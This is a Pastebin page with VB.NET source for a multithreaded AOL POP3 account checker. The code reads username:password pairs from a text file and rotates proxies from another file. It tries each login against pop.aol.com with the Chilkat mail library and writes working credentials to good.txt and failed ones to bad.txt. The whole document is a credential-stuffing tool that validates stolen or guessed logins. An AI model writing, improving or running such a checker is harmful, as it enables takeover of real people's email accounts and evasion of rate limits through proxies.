Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.Threading
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- For i = 1 To 20
- ThreadPool.QueueUserWorkItem(AddressOf WorkSub, i)
- Next
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- End Sub
- Sub WorkSub()
- Dim LineOfText As String = "test.txt"
- Dim LineOfText1 As String = "proxy.txt"
- Static SW As New System.IO.StreamReader(LineOfText)
- Static SW1 As New System.IO.StreamReader(LineOfText1)
- Dim j As Integer
- Dim aryTextFile1() As String
- Dim TextLine1 As String
- If System.IO.File.Exists(LineOfText1) = True Then
- If SW1.Peek() <> -1 Then
- TextLine1 = SW1.ReadLine()
- aryTextFile1 = TextLine1.Split(":")
- For j = 0 To UBound(aryTextFile1)
- Next j
- Dim i As Integer
- Dim aryTextFile() As String
- Dim TextLine As String
- Dim mailman As New Chilkat.MailMan()
- mailman.HttpProxyHostname = aryTextFile1(0)
- MsgBox(mailman.HttpProxyHostname)
- mailman.HttpProxyPort = aryTextFile1(1)
- MsgBox(mailman.HttpProxyPort)
- If System.IO.File.Exists(LineOfText) = True Then
- If SW.Peek() <> -1 Then
- TextLine = SW.ReadLine()
- aryTextFile = TextLine.Split(":")
- For i = 0 To UBound(aryTextFile)
- Next i
- ' The mailman object is used for receiving (POP3)
- ' and sending (SMTP) email.
- Dim http As New Chilkat.Http()
- ' Any string argument automatically begins the 30-day trial.
- Dim success As Boolean
- success = http.UnlockComponent("Anything for 30-day trial")
- If (success <> True) Then
- MsgBox("Component unlock failed")
- Exit Sub
- Else
- End If
- '
- ' You may explicitly begin and end POP3 sessions by calling
- ' Pop3BeginSession and Pop3EndSession. However,
- ' if a method is called that requires a connection to the POP3
- ' server, the connection and session will become established
- ' automatically. Therefore, it is not required to explicitly call
- ' Pop3BeginSession and Pop3EndSession.
- mailman.MailHost = "pop.aol.com"
- ' Set the POP3 login/password.
- mailman.PopUsername = aryTextFile(0)
- MsgBox(mailman.PopUsername)
- mailman.PopPassword = aryTextFile(1)
- MsgBox(mailman.PopPassword)
- ' Send the HTTP GET and return the content in a string.
- success = mailman.Pop3BeginSession()
- If (success <> True) Then
- LineOfText = String.Join(":", aryTextFile)
- MsgBox(LineOfText)
- MsgBox("Not Success")
- Dim swriter As StreamWriter
- swriter = File.AppendText("bad.txt")
- swriter.WriteLine(LineOfText)
- swriter.Close()
- Else
- LineOfText = String.Join(":", aryTextFile)
- MsgBox("success")
- Dim swriter As StreamWriter
- swriter = File.AppendText("good.txt")
- swriter.WriteLine(LineOfText)
- swriter.Close()
- End If
- End If
- ' Print the HTML source that was downloaded.
- End If
- End If
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement